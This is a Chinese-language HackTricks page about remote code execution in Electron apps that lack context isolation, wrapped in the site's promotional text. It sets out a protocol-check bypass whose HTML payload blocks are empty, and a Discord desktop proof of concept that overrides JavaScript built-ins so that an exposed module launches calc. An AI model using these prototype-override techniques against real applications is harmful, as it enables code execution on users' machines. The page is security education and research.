# Electron contextIsolation RCE via preload code
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
## 示例 1
来自[https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30)的示例
此代码使用默认浏览器打开http(s)链接:
![](<../../../.gitbook/assets/image (375) (1) (1).png>)
类似`file:///C:/Windows/systemd32/calc.exe`的内容可用于执行计算器,`SAFE_PROTOCOLS.indexOf`正在阻止此操作。
因此,攻击者可以通过XSS或任意页面导航注入此JS代码:
```html
```
由于对`SAFE_PROTOCOLS.indexOf`的调用将始终返回1337,攻击者可以绕过保护并执行calc。最终利用:
```html
CLICK
```
查看原始幻灯片,了解在没有提示请求权限的情况下执行程序的其他方法。
显然,另一种加载和执行代码的方法是访问类似 `file://127.0.0.1/electron/rce.jar` 的内容。
## 示例 2:Discord 应用程序 RCE
示例来自 [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)
在检查预加载脚本时,我发现 Discord 公开了一个函数,允许通过 `DiscordNative.nativeModules.requireModule('MODULE-NAME')` 在网页中调用一些允许的模块。\
在这里,我无法直接使用可用于 RCE 的模块,比如 _child\_process_ 模块,但我**找到了一段代码,可以通过覆盖 JavaScript 内置方法来实现 RCE**,并干扰公开模块的执行。
以下是 PoC。我确认当我从 devTools 调用名为 "_discord\_utils_" 的模块中定义的 `getGPUDriverVersions` 函数时,**覆盖 `RegExp.prototype.test` 和 `Array.prototype.join`** 时,**calc** 应用程序会**弹出**。
```javascript
RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
```
`getGPUDriverVersions` 函数尝试使用 "_execa_" 库执行程序,如下所示:
```javascript
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}
const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}
return result;
};
```
通常 _execa_ 尝试执行 "_nvidia-smi.exe_",该文件路径在 `nvidiaSmiPath` 变量中指定,然而,由于被覆盖的 `RegExp.prototype.test` 和 `Array.prototype.join`,**参数在 \_execa 的内部处理中被替换为 "**_**calc**_**"**。
具体来说,参数被替换是通过更改以下两个部分。
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36)
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55)
从零开始学习 AWS 黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)!
其他支持 HackTricks 的方式:
* 如果您想看到您的 **公司在 HackTricks 中做广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索 [**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。